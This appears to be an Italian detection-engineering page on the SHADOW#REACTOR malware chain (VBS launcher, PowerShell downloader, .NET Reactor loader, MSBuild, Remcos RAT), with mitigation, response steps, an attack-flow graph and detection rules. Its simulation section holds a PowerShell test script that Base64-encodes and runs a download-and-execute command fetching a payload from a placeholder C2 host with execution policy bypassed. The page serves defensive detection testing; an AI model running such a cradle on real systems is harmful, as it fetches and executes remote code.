SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR E DISTRIBUZIONE DI REMCOS RAT IN MEMORIA
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
SHADOW#REACTOR è una catena di malware multi-stage per Windows che combina un launcher VBS offuscato, un downloader basato su PowerShell, artefatti di staging solo testo, un loader protetto da .NET Reactor e l’esecuzione di MSBuild per distribuire infine il trojan di accesso remoto (RAT) Remcos.
Investigazione
I ricercatori hanno ricostruito il flusso a partire da uno script VBS recuperato dall’infrastruttura degli attaccanti, seguito da routine PowerShell che riassemblano e decodificano i payload di testo stagionati. La catena procede con il caricamento riflessivo e in memoria di un’assembly .NET e un passaggio finale a MSBuild, che avvia l’esecuzione del Remcos RAT. Il write-up documenta i componenti codificati nel testo, la logica di decrittazione e i metodi di persistenza utilizzati per mantenere l’accesso.
Mitigazione
Aumentare la copertura di monitoraggio per host di script e interpreti, e impedire l’esecuzione di VBS/PowerShell da percorsi scrivibili dagli utenti dove possibile. Aggiungere rilevamenti per traffico HTTP sospetto verso infrastrutture identificate, uso improprio di MSBuild e caricamento riflessivo di assembly .NET. Monitorare per comuni pattern di persistenza, inclusi modifiche alla chiave Run e voci di avvio basate su collegamenti.
Risposta
Se l’attività di SHADOW#REACTOR è confermata, isolare l’endpoint e terminare l’intera catena di processi (wscript.exe → powershell.exe → msbuild.exe). Rimuovere eventuali file di testo di staging e artefatti di registro correlati, e intervenire eliminando i binari Remcos e gli eventuali blob di configurazione associati. Seguire con una revisione forense approfondita per determinare ulteriori compromessi e garantire l’eradicazione completa.
“graph TB %% Class Definitions Section classDef technique fill:#ffe699 classDef builtin fill:#cccccc classDef malware fill:#ff9999 %% Node definitions tech_user_execution[“<b>Technique</b> – <b>T1204.002 User Execution: Malicious File</b><br/><b>Description</b>: Victim runs a malicious file that launches code.”] class tech_user_execution technique tool_wscript[“<b>Tool</b> – <b>Name</b>: wscript.exe<br/><b>Description</b>: Windows Script Host used to execute VBScript files.”] class tool_wscript builtin tech_vbscript_interp[“<b>Technique</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/><b>Description</b>: Executes Visual Basic scripts on the host system.”] class tech_vbscript_interp technique tech_powershell_interp[“<b>Technique</b> – <b>T1059.001 Command and Scripting Interpreter: PowerShell</b><br/><b>Description</b>: Runs PowerShell commands and scripts.”] class tech_powershell_interp technique tech_http_comm[“<b>Technique</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/><b>Description</b>: Uses HTTP/HTTPS to download payload fragments from remote servers.”] class tech_http_comm technique tech_obfuscation[“<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Payload is encoded with Base64, XOR and protected by .NET Reactor.”] class tech_obfuscation technique tech_reflective_loading[“<b>Technique</b> – <b>T1620 Reflective Code Loading</b> / <b>T1574.014 Hijack Execution Flow: AppDomainManager</b><br/><b>Description</b>: Loads a .NET assembly in memory via AppDomainManager hijacking.”] class tech_reflective_loading technique tool_msbuild[“<b>Tool</b> – <b>Name</b>: MSBuild.exe<br/><b>Description</b>: Trusted developer utility abused as a LOLBin to launch the final stage.”] class tool_msbuild builtin malware_remcos[“<b>Malware</b> – <b>Name</b>: Remcos RAT<br/><b>Description</b>: Remote access trojan used for command and control.”] class malware_remcos malware tech_shortcut_mod[“<b>Technique</b> – <b>T1547.009 Shortcut Modification</b><br/><b>Description</b>: Creates a LNK shortcut in the Startup folder to achieve persistence.”] class tech_shortcut_mod technique %% Connections showing attack flow tech_user_execution u002du002d>|executes via| tool_wscript tool_wscript u002du002d>|runs| tech_vbscript_interp tech_vbscript_interp u002du002d>|invokes| tech_powershell_interp tech_powershell_interp u002du002d>|downloads fragments via| tech_http_comm tech_http_comm u002du002d>|reconstructs payload| tech_obfuscation tech_obfuscation u002du002d>|loads in memory via| tech_reflective_loading tech_reflective_loading u002du002d>|uses| tool_msbuild tool_msbuild u002du002d>|launches| malware_remcos malware_remcos u002du002d>|may create| tech_shortcut_mod “
Flusso di attacco
Rilevamenti
LOLBAS WScript / CScript (via process_creation)
Visualizza
Stringhe Powershell Sospette (via powershell)
Visualizza
Binary Sospetti / Script in Posizione di Avvio Automatico (via file_event)
Visualizza
File Sospetti in Profilo Utente Pubblico (via file_event)
Visualizza
Esecuzione Sospetta da Profilo Utente Pubblico (via process_creation)
Visualizza
Chiamata di Metodi .NET Sospetti da Powershell (via powershell)
Visualizza
IOC (HashSha256) per rilevare: SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR, E DISTRIBUZIONE IN MEMORIA DI REMCOS RAT
Visualizza
IOC (SourceIP) per rilevare: SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR, E DISTRIBUZIONE IN MEMORIA DI REMCOS RAT
Visualizza
IOC (DestinationIP) per rilevare: SHADOW#REACTOR – STAGING SOLO TESTO, .NET REACTOR, E DISTRIBUZIONE IN MEMORIA DI REMCOS RAT
Visualizza
Rilevamento della Catena di Infezione SHADOW#REACTOR [Creazione Processo Windows]
Visualizza
Rilevamento di Bypass ExecutionPolicy e Comandi PowerShell Offuscati [Windows Powershell]
Visualizza
Esecuzione Simulazione
Requisito: Il Telemetry & Baseline Pre‑flight Check deve essere passato.
Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP individuati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa d’Attacco e Comandi:
Un attaccante con diritti limitati di movimento laterale desidera eseguire un payload remoto su un host Windows compromesso eludendo le tipiche difese di blocco degli script. Utilizzano PowerShell con-ExecutionPolicy Bypassper ignorare le restrizioni della policy di esecuzione. Il payload malevolo è offuscato come una stringa codificata in Base64 che, quando decodificata, crea unSystem.Net.WebClientoggetto per scaricare uno script PowerShell da un server C2 e invocarlo. Questa combinazione soddisfa tutti e tre i criteri di rilevamento (ExecutionPolicy Bypass,FromBase64String,System.Net.WebClient). -
Script Test di Regressione:
#-------------------------------------------- # Esecuzione PowerShell malevola simulata #-------------------------------------------- # 1. Creare uno script remoto semplice (solo a scopo dimostrativo) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. Codificare lo script in Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. Eseguire con Bypass ExecutionPolicy e FromBase64String PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
Comandi di Pulizia:
# Rimuovere tutti i payload scaricati e interrompere i processi PowerShell in sospeso Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue